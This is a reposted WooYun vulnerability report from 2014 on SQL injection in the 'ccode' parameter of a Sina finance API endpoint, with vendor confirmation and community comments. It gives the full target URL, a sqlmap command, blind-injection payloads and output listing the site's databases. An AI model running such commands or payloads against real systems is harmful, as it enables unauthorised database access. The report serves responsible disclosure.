新浪网某分站SQL注入

admin 2015年6月8日12:31:37评论268 views字数 204阅读0分40秒阅读模式
摘要

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-06: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向核心白帽子及相关领域专家公开
2014-09-26: 细节向普通白帽子公开
2014-10-06: 细节向实习白帽子公开
2014-10-19: 细节向公众公开

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-75090

漏洞标题: 新浪网某分站SQL注入

相关厂商: 新浪

漏洞作者: Jannock新浪网某分站SQL注入

提交时间: 2014-09-04 22:45

公开时间: 2014-10-19 22:46

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php+字符类型注射

1人收藏


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-06: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向核心白帽子及相关领域专家公开
2014-09-26: 细节向普通白帽子公开
2014-10-06: 细节向实习白帽子公开
2014-10-19: 细节向公众公开

简要描述:

新浪网某分站SQL注入

详细说明:

http://vip.stock.finance.sina.com.cn/fund_center/api/jsonp.php/IO.XSRV2.CallbackList%5B%27lAv4TYdRGBuGTcuo%27%5D/NetValueReturn_Service.NetValueReturnOpen?page=1&num=20&sort=form_start&asc=0&ccode=80000221&type2=0&type3=&%5Bobject%20HTMLDivElement%5D=sjzwy

注入参数:

ccode

漏洞证明:

code 区域
:/pentest/database/sqlmap# python sqlmap.py -u "http://vip.stock.finance.sina.com.cn/fund_center/api/jsonp.php/IO.XSRV2.CallbackList%5B%27lAv4TYdRGBuGTcuo%27%5D/NetValueReturn_Service.NetValueReturnOpen?page=1&num=20&sort=form_start&asc=0&ccode=80000221&type2=0&type3=&%5Bobject%20HTMLDivElement%5D=sjzwy" -p ccode --dbms=mysql --dbs --threads 5

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 22:43:09

[22:43:09] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ccode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=1&num=20&sort=form_start&asc=0&ccode=80000221' AND 3928=3928 AND 'gswx'='gswx&type2=0&type3=&[object HTMLDivElement]=sjzwy

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page=1&num=20&sort=form_start&asc=0&ccode=80000221' AND SLEEP(5) AND 'PYVJ'='PYVJ&type2=0&type3=&[object HTMLDivElement]=sjzwy
---

[22:43:10] [INFO] testing MySQL
[22:43:11] [INFO] confirming MySQL
[22:43:12] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[22:43:12] [INFO] fetching database names
[22:43:12] [INFO] fetching number of databases
[22:43:12] [INFO] retrieved: 3
[22:43:15] [INFO] retrieving the length of query output
[22:43:14] [INFO] retrieved: 18
[22:43:35] [INFO] retrieved: _nformation_schema 17/18 (94%)
[22:43:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[22:43:43] [WARNING] if the problem persists please try to lower the number of used threads (--threads)
[22:43:44] [INFO] retrieved: information_schema
[22:43:44] [INFO] retrieving the length of query output
[22:43:44] [INFO] retrieved: 4
[22:43:49] [INFO] retrieved: fcdb
[22:43:49] [INFO] retrieving the length of query output
[22:43:49] [INFO] retrieved: 4
[22:43:54] [INFO] retrieved: test
available databases [3]:
[*] fcdb
[*] information_schema
[*] test

[22:43:54] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/vip.stock.finance.sina.com.cn'

[*] shutting down at 22:43:54

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-09-06 17:22

厂商回复:

感谢关注新浪安全。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-09-04 22:45 | 孤独雪狼 新浪网某分站SQL注入 ( 普通白帽子 | Rank:761 漏洞数:159 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    1

    啪啪啪 好疼

  2. 2014-09-04 22:48 | 浮萍 ( 普通白帽子 | Rank:1077 漏洞数:217 )

    0

    膜拜一哥

  3. 2014-09-04 22:52 | pandas ( 普通白帽子 | Rank:730 漏洞数:84 | 国家特级保护动物)

    0

    大圣收了神通吧

  4. 2014-09-04 22:59 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

    0

    一个再发一个,我看到细节了·~~

  5. 2014-09-04 23:17 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    要是能把整个发现和测试的过程写出来就好了,像二哥那样

  6. 2014-09-04 23:52 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)

    1

    @px1624 他用火狐+firebug 看着看着就挖到了,这就他的过程

  7. 2014-09-05 08:43 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    @Mr .LZH 你怎么知道!

  8. 2014-09-05 09:17 | rasca1 ( 实习白帽子 | Rank:57 漏洞数:18 | 菜鸟一只)

    0

    @Mr .LZH 从截图上看 一哥用的burp

  9. 2014-09-05 11:08 | zzR 新浪网某分站SQL注入 ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红**联盟欢迎你-0-)

    1

    10000WB出售

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin